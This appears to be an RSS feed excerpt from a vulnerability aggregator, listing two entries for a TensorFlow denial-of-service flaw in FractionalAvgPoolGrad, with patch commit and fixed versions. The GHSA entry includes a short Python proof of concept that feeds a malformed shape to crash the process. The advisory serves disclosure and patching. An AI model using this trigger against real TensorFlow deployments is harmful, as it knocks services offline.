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    <lastBuildDate>Wed, 07 Oct 2026 14:40:24 +0000</lastBuildDate>
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      <title>CVE-2022-35963 — `CHECK` failures in `FractionalAvgPoolGrad` in TensorFlow</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2022-35963</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an open source platform for machine learning. The implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a `CHECK` failure which can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 03a659d7be9a1154fdf5eeac221e5950fec07dad. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; tensorflow&lt;/p&gt;
&lt;p&gt;TensorFlow is an open source platform for machine learning. The implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a `CHECK` failure which can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 03a659d7be9a1154fdf5eeac221e5950fec07dad. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2022-35963</guid>
    </item>
    <item>
      <title>GHSA-84jm-4cf3-9jfm — TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad`</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-84jm-4cf3-9jfm</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
The implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a  `CHECK` failure which can be used to trigger a denial of service attack.
```python
import tensorflow as tf&lt;/p&gt;
&lt;p&gt;overlapping = True
orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)
out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)
row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)
```&lt;/p&gt;
&lt;p&gt;### Patches
We have patched the issue in GitHub commit [03a659d7be9a1154fdf5eeac221e5950fec07dad](https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad).&lt;/p&gt;
&lt;p&gt;The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.&lt;/p&gt;
&lt;p&gt;### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.&lt;/p&gt;
&lt;p&gt;### Attribution
This vulnerability has been reported by Neophytos Christou, Secure Syst…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: tensorflow, PyPI: tensorflow-cpu, PyPI: tensorflow-gpu&lt;/p&gt;
&lt;p&gt;### Impact
The implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a  `CHECK` failure which can be used to trigger a denial of service attack.
```python
import tensorflow as tf&lt;/p&gt;
&lt;p&gt;overlapping = True
orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)
out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)
row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)
```&lt;/p&gt;
&lt;p&gt;### Patches
We have patched the issue in GitHub commit [03a659d7be9a1154fdf5eeac221e5950fec07dad](https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad).&lt;/p&gt;
&lt;p&gt;The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.&lt;/p&gt;
&lt;p&gt;### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.&lt;/p&gt;
&lt;p&gt;### Attribution
This vulnerability has been reported by Neophytos Christou, Secure Syst…&lt;/p&gt;</content:encoded>
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